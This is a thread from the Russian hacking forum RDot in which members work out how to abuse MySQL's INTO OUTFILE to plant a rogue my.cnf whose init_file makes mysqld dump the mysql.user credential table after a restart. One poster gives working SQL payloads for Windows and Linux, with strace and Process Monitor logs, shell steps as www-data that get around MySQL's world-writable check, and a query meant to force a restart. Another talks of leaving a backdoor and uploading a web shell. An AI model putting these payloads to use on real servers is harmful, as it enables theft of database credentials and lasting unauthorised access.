Вернуться   RDot > RDot.org > Статьи/Articles > Чужие статьи/Переводы;Foreign articles/translations

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 05.03.2012, 22:18   #11
Spyder
 
Аватар для Spyder
 
Регистрация: 01.07.2010
Сообщений: 95
Репутация: 41
По умолчанию

Вообще это баян древнейший. Абсолютно тоже самое писали, потом выяснилось что инто аутфайл ставит права -rw-rw-rw, а mysql игнорит world-writable конфиг
__________________
wut?
Spyder вне форума   Ответить с цитированием
Старый 06.03.2012, 03:39   #12
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Значит будет воркать там где umask ниже 022?
b3 вне форума   Ответить с цитированием
Старый 06.03.2012, 03:59   #13
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от Spyder Посмотреть сообщение
Вообще это баян древнейший. Абсолютно тоже самое писали, потом выяснилось что инто аутфайл ставит права -rw-rw-rw, а mysql игнорит world-writable конфиг
да, очень может быть, что это боян, так как уж очень все тупо.
только ссылок не смог найти.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 06.03.2012, 08:28   #14
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

ShAnKaR писал об этом в марте 2009, правда в паблик не спускалось.

========
UPD, сразу вспомнилось

Слышишь - лягушка в воде
Лапками тихо гребёт?..
Мы уже в Вечности, брат.

Последний раз редактировалось nikp; 06.03.2012 в 08:41..
nikp вне форума   Ответить с цитированием
Старый 06.03.2012, 12:03   #15
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

А, ну респект тогда ShAnKaR. Жаль что не спускалось.
Что еще там интересного не спускалось можно посмотреть?
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 06.03.2012, 12:33   #16
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Есть хорошие новости - на винде нету прав =))))

Только список другой:

WINDIR\my.ini
WINDIR\my.cnf
C:\my.ini
C:\my.cnf
INSTALLDIR\my.ini
INSTALLDIR\my.cnf

И не факт, что операционка под каким-нибудь сервером даст туда писать так просто
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 06.03.2012, 14:03   #17
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

у меня под виндой получилось так:
PHP код:
select '[mysqld]\ninit_file="c:/getUsers.sql"' INTO OUTFILE 'c:/my.cnf';
select 'select * from mysql.user INTO OUTFILE "c:/users"' INTO OUTFILE 'c:/getUsers.sql'
перезапуск mysql
=>
таблица mysql.user в файле c:/users

лог обращений к файлу "my.*"
Код:
mysqld.exe  CreateFile  C:\WINXP\my.ini                                 NAME NOT FOUND  Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a
mysqld.exe  CreateFile  C:\WINXP\my.cnf                                 NAME NOT FOUND  Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a
mysqld.exe  CreateFile  C:\my.ini                                       NAME NOT FOUND  Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a            
mysqld.exe  CreateFile  C:\my.cnf                                       SUCCESS Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a, OpenResult: Opened
mysqld.exe  ReadFile    C:\my.cnf                                       SUCCESS Offset: 0, Length: 38                                                                                                                                                                 
mysqld.exe  ReadFile    C:\my.cnf                                       END OF FILE Offset: 38, Length: 4*096                                                                                                                                                         
mysqld.exe  CloseFile   C:\my.cnf                                       SUCCESS                                                                                                                                                                                       
mysqld.exe  CreateFile  C:\WebServers\usr\local\mysql-5.1\my.ini        NAME NOT FOUND  Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a            
mysqld.exe  CreateFile  C:\WebServers\usr\local\mysql-5.1\my.cnf        SUCCESS Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: n/a, OpenResult: Opened
mysqld.exe  ReadFile    C:\WebServers\usr\local\mysql-5.1\my.cnf        SUCCESS Offset: 0, Length: 4*096                                                                                                                                                              
mysqld.exe  ReadFile    C:\WebServers\usr\local\mysql-5.1\my.cnf        SUCCESS Offset: 4*096, Length: 41                                                                                                                                                             
mysqld.exe  ReadFile    C:\WebServers\usr\local\mysql-5.1\my.cnf        END OF FILE Offset: 4*137, Length: 4*096                                                                                                                                                      
mysqld.exe  CloseFile   C:\WebServers\usr\local\mysql-5.1\my.cnf        SUCCESS

Последний раз редактировалось DrakonHaSh; 06.03.2012 в 14:05..
DrakonHaSh вне форума   Ответить с цитированием
Старый 06.03.2012, 15:43   #18
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

BackTrack5r1
Код:
# все команды через шел
id
=>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# смотрим откуда и как mysqld пытается читать конфиги 
strace /usr/sbin/mysqld 2>&1 | grep 'my\.'
=>
stat64("/etc/my.cnf", 0xbfce8620)       = -1 ENOENT (No such file or directory)
stat64("/etc/mysql/my.cnf", {st_mode=S_IFREG|0644, st_size=3564, ...}) = 0
open("/etc/mysql/my.cnf", O_RDONLY|O_LARGEFILE) = 3
stat64("/usr/etc/my.cnf", 0xbfce8620)   = -1 ENOENT (No such file or directory)
stat64("~/.my.cnf", 0xbfce8620)         = -1 ENOENT (No such file or directory)
# видно что попытки чтения конфига из /var/lib/mysql/my.cnf нет
#  поэтому для эксперимента даем возможность создания и записи всем пользователям в файл /usr/etc/my.cnf

# создаем 'левый' конфиг для mysql
select '[mysqld]\ninit_file="/tmp/getUsers.sql"' INTO OUTFILE '/usr/etc/my.cnf';
select 'select * from mysql.user INTO OUTFILE "/tmp/users"' INTO OUTFILE '/tmp/getUsers.sql';
ls -al /usr/etc/my.cnf /tmp/getUsers.sql; cat /usr/etc/my.cnf 
=>
-rw-rw-rw- 1 mysql mysql 51 Mar  7 04:47 /tmp/getUsers.sql
-rw-rw-rw- 1 mysql mysql 40 Mar  7 04:47 /usr/etc/my.cnf
[mysqld]\
init_file="/tmp/getUsers.sql"

# опять смотрим откуда и как mysqld пытается читать конфиги
strace /usr/sbin/mysqld 2>&1 | grep 'my\.'
=>
stat64("/etc/my.cnf", 0xbfe222a0)       = -1 ENOENT (No such file or directory)
stat64("/etc/mysql/my.cnf", {st_mode=S_IFREG|0644, st_size=3564, ...}) = 0
open("/etc/mysql/my.cnf", O_RDONLY|O_LARGEFILE) = 3
stat64("/usr/etc/my.cnf", {st_mode=S_IFREG|0666, st_size=40, ...}) = 0
write(2, "Warning: World-writable config f"..., 65Warning: World-writable config file '/usr/etc/my.cnf' is ignored
stat64("~/.my.cnf", 0xbfe222a0)         = -1 ENOENT (No such file or directory)
# => видим Warning: World-writable config file '/usr/etc/my.cnf' is ignored 

# пытаемся изменить разрешения
chmod 611 /usr/etc/my.cnf
=>
chmod: changing permissions of `/usr/etc/my.cnf': Operation not permitted
# => вот облом, мы то работает от www-data а файлик то принадленит юзеру mysql :(

# сменим владельца файла на текущего www-data и установим ему права    
cd /usr/etc/; cat my.cnf | ( rm my.cnf ; cat > my.cnf) ; chmod 644 my.cnf; ls -al `pwd`/my.cnf
=>
-rw-r--r-- 1 www-data www-data 40 Mar  7 04:48 /usr/etc/my.cnf

# опять смотрим откуда и как mysqld пытается читать конфиги
strace /usr/sbin/mysqld 2>&1 | grep 'my\.'
=>
stat64("/etc/my.cnf", 0xbfd5c1d0)       = -1 ENOENT (No such file or directory)
stat64("/etc/mysql/my.cnf", {st_mode=S_IFREG|0644, st_size=3564, ...}) = 0
open("/etc/mysql/my.cnf", O_RDONLY|O_LARGEFILE) = 3
stat64("/usr/etc/my.cnf", {st_mode=S_IFREG|0644, st_size=40, ...}) = 0
open("/usr/etc/my.cnf", O_RDONLY|O_LARGEFILE) = 3
stat64("~/.my.cnf", 0xbfd5c1d0)         = -1 ENOENT (No such file or directory)
# => все ок, mysqld успешно читает наш /usr/etc/my.cnf   

#перезапуск mysql запросом
select 1 from mysql.user procedure analyse((select 1 from (select 1)a),1);
=>
#в /tmp/users таблица mysql.user
ls -al /tmp/users;
=>
-rw-rw-rw- 1 mysql mysql 512 Mar  7 04:49 /tmp/users

# выводы делаем сами ;)

Последний раз редактировалось DrakonHaSh; 07.03.2012 в 12:53.. Причина: вчерашний вариант был частично неверным т.к. chmod на /usr/etc/my.cnf сделал не из шела, а из под рута.
DrakonHaSh вне форума   Ответить с цитированием
Старый 06.03.2012, 20:12   #19
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Одни источники говорят , что под win конфиги могут находится
WINDIR\my.ini, WINDIR\my.cnf
C:\my.ini, C:\my.cnf
INSTALLDIR\my.ini, INSTALLDIR\my.cnf
defaults-extra-file The file specified with --defaults-extra-file=path, if any

другие (по памяти, ссылки не стал искать), что если в корне системного диск, то my.cfg, в остальных случаях my.ini
my.ini - windows-system-directory
my.cfg - корень системного диска
my.ini - каталог MySql

Если существует несколько таких файлов, то мускул читает их в приведенном порядке сверу вниз. Параметр, указанный в файле, идущем позже, имеет преимущество над параметром в файле, расположенном ранее.
Можно указывать параметры для следующих файлов mysql, mysqladmin, mysqld, mysqld_safe, mysql.server, mysqldump, mysqlimport, mysqlshow, mysqlcheck, myisamchk, myisampack по типу
Код:
[программа]
параметр=значение (если есть)
К примеру в c:\my.cfg поместить
Код:
[mysql]
version
покажет версию, при вызове mysql.exe

По идее можно искать полезные параметры не только у mysqld

А вот такой полезный параметр, как --init-file=name, у меня отрабатывает только в конфиге каталога мускула и,
даже если удалить этот файл конфига, в других конфигах этот параметр игнорируется.
Собственно не очень страшно, если попадаем на IIS, то и по дефолтным настройкам не удастся
залить конфиг через into outfile, а если Апач с правами System, то удобнее залить шелл и поправить нужный конфиг.
Т.е. бекдор в мускуле оставить все же можно.
nikp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot